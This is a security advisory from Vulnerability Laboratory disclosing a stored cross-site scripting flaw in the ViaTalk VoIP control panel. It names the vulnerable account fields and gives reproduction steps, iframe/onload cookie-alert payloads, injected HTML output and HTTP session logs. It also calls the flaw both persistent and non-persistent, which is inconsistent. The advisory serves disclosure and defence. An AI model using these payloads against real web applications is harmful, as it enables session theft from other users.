Document Title:
ViaTalk CP - Persistent XSS Web Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Persistent

Current Estimated Price:
500€ - 1.000€

Product & Service Introduction:
ViaTalk offers over 40 unique calling features included with each plan. ViaTalk is re-writing the rules for VoIP service flexibility and ease of use. 
Internet Phone Service Around The World!

(Copy of the Homepage: )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered persistent web vulnerability in the viatalk control panel web-application.

Affected Product(s):
Product: ViaTalk Control Panel - (Web-Application)

Vulnerability Disclosure Timeline:
2022-01-17: Researcher Notification & Coordination (Security Researcher)
2022-01-18: Vendor Notification (Security Department)
2022-**-**: Vendor Response/Feedback (Security Department)
2022-**-**: Vendor Fix/Patch (Service Developer Team)
2022-**-**: Security Acknowledgements (Security Department)
2023-07-21: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Restricted Authentication (User Privileges)

User Interaction:
Low User Interaction

Disclosure Type:
Responsible Disclosure

Technical Details & Description:
A non-persistent post inject web vulnerability has been discovered in the viatalk control panel web-application.
The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user 
session data or to manipulate application contents for clients.

The vulnerability is located in all account information input fields. Remote attackers with privileged user accounts are 
able to inject own malicious script code as account data. After the inject the code executes in the frontend and backend 
of the application. The attack can be performed by a profile update, by a new registration or by add via panel ui.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent 
external redirects to malicious source and non-persistent manipulation of affected application modules.

Request method(s):
[+] POST

Vulnerable Input(s):
[+] First Name
[+] Last Name
[+] Company Name
[+] Adress 1
[+] Adress 2
[+] City
[+] State 
[+] Zip Code

Vulnerable Parameter(s):
[+] firstname
[+] lastname
[+] company_name
[+] adress
[+] adress2
[+] city
[+] state 
[+] zipcode

Proof of Concept (PoC):
The persistent web vulnerability can be exploited by remote attackers with low privilged user accounts with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual reproduce of the vulnerability ... (3)
1. Register an account with the payload in the vulnerable input fields
2. Update an exisiting profile inject of the payload to the vulnerable input fields
3. Add an account with higher privileges that contains the payload in the vulnerable input fields

PoC: Payload
"<iframe src="evil.source" onload="alert(document.cookie)"></iframe>
"<iframe src="evil.source" onload="alert(document.domain)"></iframe>

PoC: Profile (Account Information)
<td class="style5" width="47%">
<h2>Account Information</h2>
<table class="box2" style="margin-bottom:10px" 
width="100%" cellspacing="0" cellpadding="0" border="0">
<tbody><tr class="alt">
<td width="40%"><b>First Name:</b></td>
<td width="60%">Mike</td></tr><tr>
<td><b>Last Name:</b></td>
<tr class="alt">
<td><b>Company Name:</b></td>
<td>viatalk_viatalk&gt;"<iframe src="evil.source" onload="alert(document.cookie)"></iframe></td></tr>
<tr class="alt">
<td>123 Sesame St.</td>

--- PoC Session Logs [POST] (exp. Update) ---
Host: viatalk-cp.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 592
Origin: https://viatalk-cp.localhost:8080
Connection: keep-alive
Referer: https://viatalk-cp.localhost:8080/viatalk/client_info/edit/258
Cookie: __zlcmid=186kdl0juLs0OUd; _session_id=91320391f1a44ebba282bb8503ccee33
viatalk_viatalk>"<iframe src=evil.source onload=alert(document.cookie)></iframe>&client_info[address]=21 Jump Street
&client_info[address_2]=&client_info[city]=Brooklyn&client_info[state]=AL&client_info[country]=United States
&client_info[zipcode]=209733&client_info[phone]=&client_info[client_timezone]=Eastern Time (US & Canada)&client_info[cdr_password_old]=
POST: HTTP/1.1 302 Found
Server: Apache/2.2.15 (CentOS)
Cache-Control: public
X-Powered-By: Phusion Passenger 4.0.58
Location: https://viatalk-cp.localhost:8080/viatalk/client_info
Content-Length: 108
Status: 302 Found
Content-Type: text/html; charset=utf-8
Set-Cookie: _session_id=91320391f1a44ebba282bb8503ccee33; path=/;HttpOnly;Secure
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Host: viatalk-cp.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: keep-alive
Referer: https://viatalk-cp.localhost:8080/viatalk/client_info
Cookie: __zlcmid=186kdl0juLs0OUd; _session_id=91320391f1a44ebba282bb8503ccee33
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
GET: HTTP/1.1 200 OK
Server: Apache/2.2.15 (CentOS)
Cache-Control: public
X-Powered-By: Phusion Passenger 4.0.58
Content-Length: 307
Status: 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: _session_id=91320391f1a44ebba282bb8503ccee33; path=/;HttpOnly;Secure
Connection: close

Security Risk:
The security risk of the cross site scripting web vulnerability in the web-application is estimated as medium.

Credits & Authors:
Vulnerability-Lab [Research Team] -

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: ; ;

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2023 | Vulnerability Laboratory - [Evolution Security GmbH]™